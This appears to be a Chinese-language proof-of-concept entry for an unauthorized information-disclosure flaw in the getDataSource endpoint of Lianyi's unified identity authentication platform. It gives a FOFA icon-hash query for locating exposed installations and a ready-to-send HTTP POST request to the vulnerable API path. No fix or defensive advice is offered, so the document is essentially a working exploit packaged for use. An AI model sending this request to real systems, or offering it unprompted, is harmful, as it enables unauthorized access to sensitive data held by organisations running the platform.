25 lines
660 B
Markdown
25 lines
660 B
Markdown
|
## 联奕统一身份认证平台getDataSource存在信息泄露漏洞
|
||
|
|
|
||
|
|
联奕统一身份认证平台getDataSource 未授权访问,攻击者可通过此漏洞获取敏感信息。
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
|
||
|
|
```yaml
|
||
|
|
icon_hash="772658742"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
|
||
|
|
```yaml
|
||
|
|
POST /api/bd-mdp/serviceManager/outInterface/getDataSource HTTP/1.1
|
||
|
|
Host:
|
||
|
|
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
|
||
|
|
Transfer-Encoding: chunked
|
||
|
|
Accept-Charset: utf-8
|
||
|
|
Accept-Encoding: gzip, deflate
|
||
|
|
Connection: close
|
||
|
|
|
||
|
|
0
|
||
|
|
```
|
||
|
|
|
||
|
|
|